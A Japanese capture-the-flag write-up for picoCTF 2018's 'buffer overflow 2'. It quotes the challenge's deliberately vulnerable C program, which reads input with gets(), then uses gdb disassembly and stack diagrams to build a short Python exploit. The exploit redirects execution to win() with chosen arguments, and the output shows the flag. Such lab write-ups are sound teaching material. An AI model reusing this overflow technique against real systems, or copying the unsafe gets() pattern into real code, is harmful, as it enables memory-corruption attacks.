picoCTF 2018: buffer overflow 2

問題

問題文

Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 on the shell server. Source.

Hints

Try using gdb to print out the stack once you write to it!

問題概要

x86 の ELF ファイルおよびそのソースコードが与えられる.

解答例

指針

  • buffer overflow

解説

与えられたプログラムのソースコードは以下の通り.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

vuln() で gets() を使っているので自明な buffer overflow の脆弱性がある.

vuln() の return address を win() のアドレスに書き換えると vuln() を抜けたときに win() を呼び出せる.

ここまでは buffer overflow 1 と同じだが, 今回の win() 関数は引数を取り第一引数が 0xDEADBEEF, 第二引数が 0xDEADC0DE となる必要がある.

x86 は引数の受け渡しも Stack を介して行われるため, buffer overflow により引数を自由な値にすることができる.

gdb を使って解析する.

$ gdb -q vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x804867b
Starting program: /home/kira/vuln

Temporary breakpoint 1, 0x0804867b in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x08048646 <+0>:     push   ebp
   0x08048647 <+1>:     mov    ebp,esp
   0x08048649 <+3>:     sub    esp,0x78
   0x0804864c <+6>:     sub    esp,0xc
   0x0804864f <+9>:     lea    eax,[ebp-0x6c]
   0x08048652 <+12>:    push   eax
   0x08048653 <+13>:    call   0x8048430 <gets@plt>
   0x08048658 <+18>:    add    esp,0x10
   0x0804865b <+21>:    sub    esp,0xc
   0x0804865e <+24>:    lea    eax,[ebp-0x6c]
   0x08048661 <+27>:    push   eax
   0x08048662 <+28>:    call   0x8048460 <puts@plt>
   0x08048667 <+33>:    add    esp,0x10
   0x0804866a <+36>:    nop
   0x0804866b <+37>:    leave
   0x0804866c <+38>:    ret
End of assembler dump.
(gdb)

以下の部分より vuln() のローカル変数 buf[] の先頭アドレスが [ebp-0x6c] であると分かる.

   0x0804864f <+9>:     lea    eax,[ebp-0x6c]
   0x08048652 <+12>:    push   eax
   0x08048653 <+13>:    call   0x8048430 <gets@plt>

Call Stack は以下のようになっている.

(lower address)

|  top of buf | <= [ebp-0x6c]
....
| saved ebp   |
| return addr |

(higher address)

vuln() の return address を win() のアドレスにし, vuln() の ret 命令が実行されたときの Call Stack の状態を考える. ret 命令は return address を pop しそこへ jmp する命令であるからスタックポインタ (ESP) は以下のようにインクリメントされ return address が格納されているところより一つ上のアドレスを指しているはずである.

(lower address)

|  top of buf | <= [ebp-0x6c]
....
| saved ebp   |
| return addr |
|    junk     | <= ESP

(higher address)

この状態から win() へ jmp したときのことを考える.

以下は win() を逆アセンブルした結果である. win() の先頭アドレスが 0x080485cb であることが確認できる.

(gdb) disas win
Dump of assembler code for function win:
   0x080485cb <+0>:     push   ebp
   0x080485cc <+1>:     mov    ebp,esp

   (snip)

   0x0804861d <+82>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x08048624 <+89>:    jne    0x8048640 <win+117>
   0x08048626 <+91>:    cmp    DWORD PTR [ebp+0xc],0xdeadc0de
   0x0804862d <+98>:    jne    0x8048643 <win+120>

   (snip)

   0x08048644 <+121>:   leave
   0x08048645 <+122>:   ret
End of assembler dump.
(gdb)

vuln() から win() に jmp し以下の命令が実行されたとき,

   0x080485cb <+0>:     push   ebp
   0x080485cc <+1>:     mov    ebp,esp

Call Stack は下の図のようになっているはずである.

(lower address)

|  top of buf | <= [old ebp-0x6c]
....
|  old  ebp   |
| saved ebp   | <= ESP
|    junk     |

(higher address)

ここで win() の逆アセンブルコードを読むと, 第一引数, 第二引数および return address として使われているアドレスは以下に示すとおりとなっている.

(lower address)

|  top of buf | <= [old ebp-0x6c]
....
|  old  ebp   |
| saved ebp   |
| return addr |
|   param1    | <= [ebp+0x8]
|   param2    | <= [ebp+0xc]

(higher address)

したがって exploit は以下のように書ける.

#!/usr/bin/env python2

win_addr = '\xcb\x85\x04\x08'

buf = 'A' * (0x6c+4)
buf += win_addr
buf += 'A'*4
buf += '\xef\xbe\xad\xde'
buf += '\xde\xc0\xad\xde'

print (buf)
  • 実行結果
$ python2 ~/exploit.py | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ▒▒▒▒▒
picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault (core dumped)

return addr の値が AAAA となっているため, win() を抜けたときに Segmentation fault となる.